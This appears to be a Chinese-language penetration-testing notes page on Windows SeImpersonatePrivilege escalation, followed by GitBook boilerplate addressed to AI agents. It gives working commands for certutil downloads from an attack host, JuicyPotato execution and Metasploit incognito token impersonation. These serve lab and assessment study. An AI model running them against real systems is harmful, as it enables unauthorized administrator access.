> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md).
# SeImpersonatePrivilege
`SeImpersonatePrivilege` 允许进程模拟其他用户的令牌。在兼容的 Windows 目标上，此特权可被滥用以获得高权限会话。
## 检测
```powershell
whoami /priv
```
## 选择正确的技术
不同的 Windows 版本需要不同的方法。将其视为兼容性检查，而不是一条命令的利用。
| 工具家族 | 通常适用于 | 备注 |
| -------------------------------- | ------------------------------------- | ----------------------- |
| JuicyPotato | 较旧的 Windows Server 版本，在较新的 DCOM 加固之前。 | 需要兼容的 CLSID 和本地 COM 行为。 |
| RoguePotato / RemotePotato 风格的路径 | NTLM 中继或解析器技巧适用的环境。 | 先验证网络假设。 |
| PrintSpoofer | 较旧的目标，其中 Print Spooler 路径已暴露且兼容。 | 补丁级别非常重要。 |
| GodPotato / SweetPotato 变体 | 具有兼容命名管道/RPC 行为的实验室目标。 | 针对具体的操作系统版本进行测试。 |
## 使用 JuicyPotato 进行手动验证
{% embed url="" %}
从攻击主机提供二进制文件：
```bash
python3 -m http.server 8080
```
在目标主机上下载授权工具：
```cmd
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe JP.exe
```
先运行一个无害的验证命令：
```cmd
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\impersonate-check.txt"
type C:\Windows\Temp\impersonate-check.txt
```
如果验证成功，则将该操作替换为实验室或评估范围内的有效载荷。
## 常见检查
```cmd
whoami /priv
systeminfo
net start spooler
```
## Metasploit Incognito 变体
```
load incognito
list_tokens -u
```
```
impersonate_token "ATTACKDEFENSE/Administrator"
```
迁移到合适的进程：
```
pgrep explorer
migrate 3512
getprivs
```
## 关键要点
* 确认该特权已存在且已启用。
* 利用路径很大程度上取决于 Windows 版本和本地限制。
* 如果主机较新且已打补丁，先转向服务、计划任务或凭据路径，而不要浪费时间。
* 通过限制暴露模拟路径的服务并保持主机打补丁来进行修复。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.